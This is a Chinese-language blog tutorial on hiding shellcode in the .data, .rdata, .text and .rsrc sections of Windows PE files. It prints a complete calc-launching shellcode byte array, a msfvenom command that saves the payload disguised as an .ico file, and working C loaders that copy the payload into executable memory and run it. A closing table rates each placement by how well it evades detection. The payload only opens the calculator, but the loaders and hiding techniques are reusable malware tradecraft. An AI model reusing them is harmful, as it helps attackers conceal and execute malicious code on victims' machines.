

shellcode可以根据需要保存在PE结构的多个不同段中。不同的段拥有不同的属性(如读、写、执行权限),了解并利用这些特性可以方便我们将 Payload 放置到最合适的位置来达到一定的伪装效果。
首先我们生成一段弹出计算器的shellcode
:
.data段#
#include "windows.h"
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main() {
void *exec_mem = VirtualAlloc(nullptr, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec_mem == nullptr) {
return 1;
}
memcpy(exec_mem, buf, sizeof(buf));
((void (*)()) exec_mem)();
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
c编译后通过我编写的PE分析工具 ↗查看:
可以发现使用全局变量unsigned char保存shellcode,在编译后shellcode被保存到了.data段。
这是因为PE文件的.data段是PE文件的可执行部分中包含已初始化全局变量和局部变量的位置。此段可读写,适合在运行时动态解密加密的有效负载。
.rdata段#
简单修改上面的代码,添加一个const
修饰符。
const unsigned char buf[] ="...";
cconst
修饰符修饰的变量被认为是只读数据,任何尝试对其修改的行为都会导致访问冲突error: assignment of read-only variable 'buf'
。
最终在编译后就会被保存到rdata
段,rdata
中的r
就是指read-only
。
.text段#
需要使用下面的方式告诉MSVC编译器将此变量放置在.text
段中。.text
段默认具有可执行权限。因此在此段中的变量无需编辑内存区域权限,直接就可以运行。这对于小于 10 个字节的小型负载很有用,例如[上篇文章中的0xC3
](Windows内存管理基础:VirtualAlloc、DEP 与 ASLR • 0xd00’s blog ↗)。
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char buf[] ="...";
c.rsrc段#
从.rsrc
段读取shellcode
的方式可能会更加繁琐一些。
-
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o icon.ico
-
Resource Files -> 添加 ->新建项
-
资源 -> 资源文件(
.rc
) -
资源视图->
Resource.rc
右键->添加资源 -
Accelerator->导入->选择生成的
.ico
文件->资源类型RCDATA
-
编译后,有效负载将存储在
.rsrc
节中,但无法直接访问。 -
想要访问
.rsrc
段中的数据需要通过几个WINAPI
- FindResourceW ↗:根据ID和类型在
.rsrc
节中找到资源信息。 - LoadResource ↗:将资源数据加载到内存中,返回一个全局内存句柄。
- LockResource ↗:锁定资源,并返回一个指向其实际内存地址的指针。
- SizeofResource ↗:获取资源的大小。
- FindResourceW ↗:根据ID和类型在
#include <Windows.h>
#include <stdio.h>
#include "resource.h"
int main() {
// --- 变量定义 ---
HRSRC hRsrc = NULL; // 用于接收资源信息的句柄
HGLOBAL hGlobal = NULL; // 用于接收已加载资源的全局内存句柄
PVOID pPayloadAddress = NULL; // 指向载荷在内存中实际地址的指针
SIZE_T sPayloadSize = 0; // 载荷的大小(字节)
// --- 步骤 1: 定位资源 ---
// 在当前模块(NULL)的资源节中,查找由 resource.h 中定义的 ID (IDR_RCDATA1)
// 和预定义类型 (RT_RCDATA) 标识的资源。
// RCDATA 代表“原始数据”,是存储任意二进制数据的标准方式。
hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
if (hRsrc == NULL) {
printf("[!] FindResourceW 失败, 错误码: %d\n", GetLastError());
return -1;
}
printf("[+] 资源定位成功, 句柄: %p\n", hRsrc);
// --- 步骤 2: 加载资源 ---
// 使用上一步获取的资源句柄,将资源数据加载到内存中。
// 此函数返回的是一个全局内存对象的句柄,而不是一个直接可读的指针。
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
printf("[!] LoadResource 失败, 错误码: %d\n", GetLastError());
return -1;
}
printf("[+] 资源加载成功, 句柄: %p\n", hGlobal);
// --- 步骤 3: 锁定资源并获取指针 ---
// 将已加载的资源锁定在内存中,并返回一个指向其数据起始位置的直接指针。
// 返回的指针是只读的。如果需要修改,应将其内容复制到另一块可写内存中。
pPayloadAddress = LockResource(hGlobal);
if (pPayloadAddress == NULL) {
printf("[!] LockResource 失败, 错误码: %d\n", GetLastError());
return -1;
}
// --- 步骤 4: 获取资源大小 ---
// 获取资源的精确大小(以字节为单位)。这对于后续的内存复制或处理至关重要。
sPayloadSize = SizeofResource(NULL, hRsrc);
if (sPayloadSize == 0) { // SizeofResource 成功时返回非零值,失败返回0
printf("[!] SizeofResource 失败, 错误码: %d\n", GetLastError());
return -1;
}
// --- 步骤 5: 打印结果用于验证 ---
// 显示获取到的载荷内存地址和大小,以确认前面的步骤都已成功执行。
printf("\n[i] 载荷地址 (pPayloadAddress): 0x%p \n", pPayloadAddress);
printf("[i] 载荷大小 (sPayloadSize): %zu 字节\n", sPayloadSize); // 使用 %zu 来打印 SIZE_T 类型,更标准
void* exec_mem = VirtualAlloc(nullptr, sPayloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec_mem == nullptr) {
return 1;
}
memcpy(exec_mem, pPayloadAddress,sPayloadSize);
printf("[i] pTmpBuffer var : 0x%p \n", exec_mem);
((void (*)()) exec_mem)();
VirtualFree(exec_mem, 0, MEM_RELEASE);
printf("\n[#] 按下 <Enter> 键退出...\n");
getchar();1
return 0;
}
c可以看到Shellcode
被成功从资源段中提取并运行。
在x64dbg
中也能看到.rsrc
中的payload已被复制到了新分配的可执行区域中。
总结#
通过本次探索,我们掌握了四种在 PE 文件中存储 Shellcode 的核心技术。下表对它们进行了简要的对比:
方法 | 目标段 | C++ 实现方式 | 段权限 | 隐蔽性 | 优点与缺点 |
---|---|---|---|---|---|
方法一 | .data | 全局变量 | RW | 低 | 优点: 简单直接。 缺点: 特征明显,易被检测。 |
方法二 | .rdata | const 全局变量 | R | 中 | 优点: 伪装成只读数据,更隐蔽。 缺点: 仍需内存拷贝。 |
方法三 | .text | __declspec(allocate) | RX | 高 | 优点: 与代码混合,无需 VirtualAlloc 。缺点: 依赖编译器。 |
方法四 | .rsrc | 作为资源嵌入,API加载 | R | 极高 | 优点: 行为类似合法程序,极难发现。 缺点: 实现稍显复杂。 |